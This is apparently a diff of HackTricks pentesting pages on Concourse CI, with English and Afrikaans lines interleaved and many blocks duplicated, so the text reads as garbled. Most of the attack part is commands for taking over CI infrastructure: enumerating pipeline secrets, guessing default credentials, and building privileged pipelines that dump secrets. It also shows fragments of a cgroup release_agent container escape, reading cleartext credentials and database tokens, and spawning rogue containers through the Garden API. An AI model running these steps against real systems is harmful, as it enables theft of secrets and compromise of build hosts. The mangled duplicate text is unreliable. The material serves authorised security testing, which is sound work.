- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
> Let daarop dat die **API token** **gestoor** word in `$HOME/.flyrc` per standaard, jy wat 'n masjien plunder, kan daar die kredensiale vind.
|
||||
|
||||
#### Teams & Users
|
||||
#### Spanne & Gebruikers
|
||||
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
- Kry 'n lys van die Spanne
|
||||
- `fly -t <target> teams`
|
||||
- Kry rolle binne die span
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Kry 'n lys van gebruikers
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
#### Pyplyne
|
||||
|
||||
- **Lys** pyplyne:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Kry** pyplyn yaml (**sensitiewe inligting** mag in die definisie gevind word):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Kry al die pyplyn **konfigurasie verklaarde vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Kry al die **pyplyne geheime name wat gebruik word** (as jy 'n werk kan skep/wysig of 'n houer kan oorneem, kan jy hulle onttrek):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Houers & Werkers
|
||||
|
||||
#### Containers & Workers
|
||||
- Lys **werkers**:
|
||||
- `fly -t <target> workers`
|
||||
- Lys **houers**:
|
||||
- `fly -t <target> containers`
|
||||
- Lys **boude** (om te sien wat aan die gang is):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
### Concourse Aanvalle
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Kredensiaal Brute-Force
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Secrets and params enumeration
|
||||
#### Geheimenisse en params enumerasie
|
||||
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheimenisse sal nuttig wees later om te probeer om** hulle te steel.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
#### Sessie binne lopende of onlangs lopende houer
|
||||
|
||||
As jy genoeg voorregte het (**lid rol of meer**) sal jy in staat wees om **pyplyne en rolle te lys** en net 'n **sessie binne** die `<pipeline>/<job>` **houer** te kry met:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Met hierdie toestemmings mag jy in staat wees om:
|
||||
|
||||
With these permissions you might be able to:
|
||||
- **Die geheime** binne die **houer** te **steel**
|
||||
- Probeer om te **ontsnap** na die node
|
||||
- **Cloud metadata** eindpunt te **enumerate/benut** (van die pod en van die node, indien moontlik)
|
||||
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
#### Pyplyn Skepping/Wysiging
|
||||
|
||||
As jy genoeg voorregte (**lid rol of meer**) het, sal jy in staat wees om **nuwe pyplyne te skep/wysig.** Kyk na hierdie voorbeeld:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Met die **wysiging/creatie** van 'n nuwe pyplyn sal jy in staat wees om:
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
- **Steal** die **secrets** (deur dit uit te echo of binne die houer in te gaan en `env` te loop)
|
||||
- **Escape** na die **node** (deur jou genoeg regte te gee - `privileged: true`)
|
||||
- Enumereer/benut **cloud metadata** eindpunt (van die pod en van die node)
|
||||
- **Delete** geskepte pyplyn
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
#### Voer Aangepaste Taak Uit
|
||||
|
||||
Dit is soortgelyk aan die vorige metode, maar in plaas daarvan om 'n hele nuwe pyplyn te wysig/te skep, kan jy **net 'n aangepaste taak uitvoer** (wat waarskynlik baie meer **stealthier** sal wees):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Ontsnapping na die node vanaf 'n bevoorregte taak
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
In die vorige afdelings het ons gesien hoe om **'n bevoorregte taak met concourse uit te voer**. Dit sal nie die houer presies dieselfde toegang gee as die bevoorregte vlag in 'n docker-houer nie. Byvoorbeeld, jy sal nie die node lêerstelsel toestel in /dev sien nie, so die ontsnapping kan meer "kompleks" wees.
|
||||
|
||||
In die volgende PoC gaan ons die release_agent gebruik om te ontsnap met 'n paar klein wysigings:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
> Soos jy dalk opgemerk het, is dit net 'n [**gereelde release_agent ontsnapping**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) wat die pad van die cmd in die node aanpas
|
||||
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
#### Ontsnapping na die node vanaf 'n Werker-container
|
||||
|
||||
'n Gereelde release_agent ontsnapping met 'n klein aanpassing is genoeg hiervoor:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Ontsnap na die node vanaf die Web-container
|
||||
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
Selfs al het die web-container 'n paar verdedigingstelsels gedeaktiveer, is dit **nie as 'n algemene bevoorregte container aan die gang nie** (byvoorbeeld, jy **kan nie** **monteer** nie en die **vermoëns** is baie **beperk**, so al die maklike maniere om uit die container te ontsnap is nutteloos).
|
||||
|
||||
Dit stoor egter **lokale geloofsbriewe in duidelike teks**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -319,11 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Jy kan daardie geloofsbriewe gebruik om **in te log teen die webbediener** en **‘n bevoorregte houer te skep en na die node te ontsnap**.
|
||||
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
In die omgewing kan jy ook inligting vind om **toegang te verkry tot die postgresql** instansie wat concourse gebruik (adres, **gebruikersnaam**, **wagwoord** en databasis onder andere inligting):
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -344,39 +327,35 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
#### Misbruik van Garden Service - Nie 'n werklike aanval nie
|
||||
|
||||
> [!WARNING]
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
> Dit is net 'n paar interessante notas oor die diens, maar omdat dit net op localhost luister, sal hierdie notas geen impak hê wat ons nog nie voorheen uitgebuit het nie.
|
||||
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (aflaai van die beeld en elke taak uitvoer). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings:
|
||||
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens outentiseer, word 'n tonnel geskep sodat die webbediener **met elke Garden diens** binne elke werker kan **praat**.
|
||||
- Die webbediener **monitor die lopende houers elke paar sekondes**, en **onverwagte** houers word **verwyder**. So as jy 'n **aangepaste houer** wil **uitvoer**, moet jy **inmeng** met die **kommunikasie** tussen die webbediener en die garden diens.
|
||||
|
||||
Concourse werkers loop met hoë houer bevoegdhede:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
Let wel, terwyl ek met concourse gespeel het, het ek opgemerk dat wanneer 'n nuwe container geskep word om iets te laat loop, die container prosesse vanaf die werker container toeganklik is, so dit is soos 'n container wat 'n nuwe container binne-in hom skep.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Skep 'n nuwe bevoorregte houer**
|
||||
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
Jy kan baie maklik 'n nuwe houer skep (hardloop net 'n willekeurige UID) en iets daarop uitvoer:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
However, die webbediener kontroleer elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- https://concourse-ci.org/vars.html
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Testing Environment
|
||||
## Toetsomgewing
|
||||
|
||||
### Running Concourse
|
||||
### Loop Concourse
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
#### Met Docker-Compose
|
||||
|
||||
Hierdie docker-compose-lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
#### Met Kubernetes (Aanbeveel)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** byvoorbeeld) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te benader:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Skep Pyplyn
|
||||
|
||||
### Create Pipeline
|
||||
'n Pyplyn bestaan uit 'n lys van [Jobs](https://concourse-ci.org/jobs.html) wat 'n geordende lys van [Steps](https://concourse-ci.org/steps.html) bevat.
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
### Stappe
|
||||
|
||||
### Steps
|
||||
Verskeie verskillende tipes stappe kan gebruik word:
|
||||
|
||||
Several different type of steps can be used:
|
||||
- **die** [**`task` stap**](https://concourse-ci.org/task-step.html) **voert 'n** [**taak**](https://concourse-ci.org/tasks.html) **uit**
|
||||
- die [`get` stap](https://concourse-ci.org/get-step.html) haal 'n [bron](https://concourse-ci.org/resources.html) op
|
||||
- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) by
|
||||
- die [`set_pipeline` stap](https://concourse-ci.org/set-pipeline-step.html) konfigureer 'n [pyplyn](https://concourse-ci.org/pipelines.html)
|
||||
- die [`load_var` stap](https://concourse-ci.org/load-var-step.html) laai 'n waarde in 'n [lokale var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- die [`in_parallel` stap](https://concourse-ci.org/in-parallel-step.html) voer stappe parallel uit
|
||||
- die [`do` stap](https://concourse-ci.org/do-step.html) voer stappe in volgorde uit
|
||||
- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een keer vir elke kombinasie van veranderlike waardes
|
||||
- die [`try` stap](https://concourse-ci.org/try-step.html) probeer om 'n stap uit te voer en slaag selfs al misluk die stap
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
Elke [stap](https://concourse-ci.org/steps.html) in 'n [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) loop in sy **eie houer**. Jy kan enigiets wat jy wil binne die houer uitvoer _(d.w.s. voer my toetse uit, voer hierdie bash-skrip uit, bou hierdie beeld, ens.)_. So as jy 'n werk het met vyf stappe, sal Concourse vyf houers skep, een vir elke stap.
|
||||
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
Daarom is dit moontlik om die tipe houer aan te dui waarin elke stap uitgevoer moet word.
|
||||
|
||||
### Eenvoudige Pyplyn Voorbeeld
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Kontroleer **127.0.0.1:8080** om die pypuntvloei te sien.
|
||||
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
### Bash-skrip met uitvoer/invoer pypunt
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
Dit is moontlik om **die resultate van een taak in 'n lêer te stoor** en aan te dui dat dit 'n uitvoer is en dan die invoer van die volgende taak as die uitvoer van die vorige taak aan te dui. Wat concourse doen, is om **die gids van die vorige taak in die nuwe taak te monteer waar jy toegang kan hê tot die lêers wat deur die vorige taak geskep is**.
|
||||
|
||||
### Triggers
|
||||
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle wil uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word:
|
||||
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
- 'n Bietjie tyd verby: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Op nuwe verbintenisse na die hooftak: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Nuwe PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Trek of druk die nuutste beeld van jou app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
